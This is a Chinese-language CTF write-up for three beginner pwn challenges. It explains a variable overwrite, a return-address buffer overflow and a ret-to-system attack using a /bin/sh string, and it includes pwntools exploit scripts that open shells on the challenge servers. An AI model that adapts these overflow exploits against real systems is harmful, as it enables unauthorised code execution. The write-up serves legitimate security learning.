Hello_pwn
第一次接触PWN题,经历还算友好。
首先将文件拖进ida中,查看main函数:

分析main函数可以看到,系统会给出一个欢迎的语句,之后读入一些东西,并进行比较,如果某个变量的值等于1853186401,则会执行下面的函数。

查看unk_601068变量,发现它与要进行比较的变量的值是挨着的。
unk_601068占了4个字节,因此任意4个字节后面加上0x6E756161(1853...的16进制表示,用着方便些)作为输入即可得到flag。
以下是exp:
from pwn import * p = remote('111.198.29.45','41314') payload = 4*'a'.encode() + p32(0x6E756161) p.sendline(payload) p.interactive()
结果如下:

Level0
查看main函数,第三行打印了一个字符串,第四行是一个名叫vulnerable的函数,听着名字可以破解。

查看vulnerable函数,发现一个变量buf,长度为128字节。在距离buf128+8字节的位置,是返回语句的位置,可以将其覆盖掉,换成其它函数的入口地址。

文件中有一个函数未使用,该函数可以调用system函数:
将vulnerable函数的返回语句覆盖,并将其下一条语句改成该函数的入口地址,即可执行一些命令,得到flag。
exp如下:
from pwn import * p = remote("111.198.29.45","56161") #remote:主要用作远程和服务器交互,返回一个类似连接对象 data = ('a'*136).encode() payload = data + p64(0x0000000000400596) p.send(payload) p.interactive()
得到shell之后,执行cat flag即可得到flag。
Level2
Level2的主函数如下:

从中可以看出文件中有system函数,也有一个需要被破解的vulnerable函数。

该函数与Level0的vulnerable函数很像,直接查看buf。


可以覆盖掉返回值的地址,将其改为system函数的入口地址。
但问题是system函数需要一个字符串指针作为参数,也就是需要一个地址作为参数,如何构造这个地址呢?

通过查找字符串发现,字符串中有/bin/sh:

可以借助该地址作为system函数的参数。
exp如下:
from pwn import * p = remote('111.198.29.45','30241') data = 'a'*0x88+'a'*4 #p32(0)是为了覆盖掉system的返回值地址,从而可以顺利的覆盖system的commond参数 data = data.encode()+p32(0x08048320)+p32(0)+p32(0x0804A024) p.send(data) p.interactive()
代码运行后可以得到一个shell,运行cat flag即可得到flag。
